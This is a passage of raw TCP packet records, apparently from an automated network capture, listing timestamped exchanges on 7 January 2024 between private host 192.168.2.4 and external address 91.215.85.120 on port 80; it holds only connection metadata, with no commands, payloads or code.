Jan 7, 2024 05:29:19.918000937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918184996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918232918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.918369055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918519020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918561935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.918581009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918653965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918690920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918699026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.918746948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918811083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.918895006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.918895006 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.919140100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.919225931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.919274092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.919348001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.919404030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.919477940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.919526100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.919642925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.919677019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.919743061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.919756889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.921556950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.921891928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.921964884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.921987057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.922313929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.922914028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.922960997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.923023939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.923067093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.923255920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.923300982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.923437119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.923484087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.923676968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.923722029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.923834085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.923878908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.923928022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.923969984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.924041033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.924083948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.924151897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.924195051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.924535990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.924592018 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.924727917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.924774885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.924819946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.924865961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.925266027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.925309896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.925457954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.925502062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.925699949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.925739050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.925846100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.925899029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.926012039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.926054955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.926140070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.926225901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.926251888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.926274061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.926414967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.926457882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.926506042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.926552057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.926939011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.926985979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.927038908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.927084923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.927117109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.927160025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.927225113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.927273035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.927520990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.927580118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.927705050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.927763939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.927846909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.927865028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.927907944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.927948952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.928107023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.928168058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.928229094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.928365946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.928437948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.928627014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.929177999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.929229021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.930003881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.930046082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.930097103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.930411100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.930460930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.930514097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.930557966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.930994034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.931036949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.931251049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.931301117 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.931452990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.931494951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.931593895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.931632996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.931638002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.931684017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.931781054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.931821108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.931849957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.931889057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.931926012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.931992054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.932023048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.932061911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.932121992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.932163000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.932315111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.932357073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.932441950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.932482004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.932611942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.932650089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.932734966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.932775974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.932917118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.932955027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.933345079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.933392048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.933470964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.933553934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.933584929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.933612108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.933640957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.933706045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.933769941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.933818102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.933927059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.934088945 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.934097052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.934143066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.934257984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.934314966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.934514999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.934561014 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.934905052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.935039043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.935059071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.935081005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.935112953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.935161114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.935242891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.935260057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.935301065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.936420918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.936512947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.936712980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.936752081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.937009096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.937048912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.937067986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.937105894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.937375069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.937434912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.937475920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.937529087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.937568903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.937602043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.937645912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.937868118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.937905073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.938141108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.938179970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.938256979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.938297987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.938335896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.938374996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.938493013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.938534021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.938582897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.938626051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.938756943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.938798904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.938874006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.938910007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.939196110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.939274073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.939282894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.939321995 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.939472914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.939516068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.939583063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.939621925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.939776897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.939815998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.939929962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.939969063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.940526009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.940576077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.940649986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.940687895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.940815926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.940831900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.940854073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.940879107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941142082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941180944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941186905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941225052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941301107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941345930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941364050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941416025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941478968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941559076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941596031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941633940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941637039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941679001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941740990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941781998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941852093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941895008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.941911936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.941952944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.942008972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.942174911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.942239046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.942298889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.942430973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.942480087 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.942500114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.942604065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.942620039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.942670107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.942719936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.942765951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.942800045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.942845106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.942923069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.942961931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:19.943033934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:19.943074942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.095269918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.095304012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.095408916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.095428944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.095474005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.095530987 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.095568895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.095643997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.095688105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.095731020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.095773935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.095849037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.095885992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.095915079 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.095952034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.099080086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.099121094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.099168062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.099251986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.099288940 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.099303961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.099339008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.099370003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.099409103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.099481106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.099520922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101042986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.101102114 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101134062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.101176023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101231098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.101277113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101329088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.101370096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101444960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.101484060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101666927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.101706028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101749897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.101787090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101815939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.101866007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.101989985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.102029085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.102066994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.102113962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.102184057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.102219105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.102401972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.102441072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.102461100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.102498055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.102541924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.102581024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.102890968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.102931976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.102952003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.103003979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.103049994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.103085995 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.103621006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.103693962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.103733063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.103789091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.103827953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.105370045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.105422974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.105446100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.105473042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.106754065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.106915951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.106969118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.107017040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.107054949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.107405901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.107462883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.107517004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.107559919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.107578039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.107629061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.108500004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.108545065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.108647108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.108684063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.108731031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.108771086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.108800888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.108839989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.108910084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:20.108948946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:20.108997107 CET	80	49735	91.215.85.120	192.168.2.4
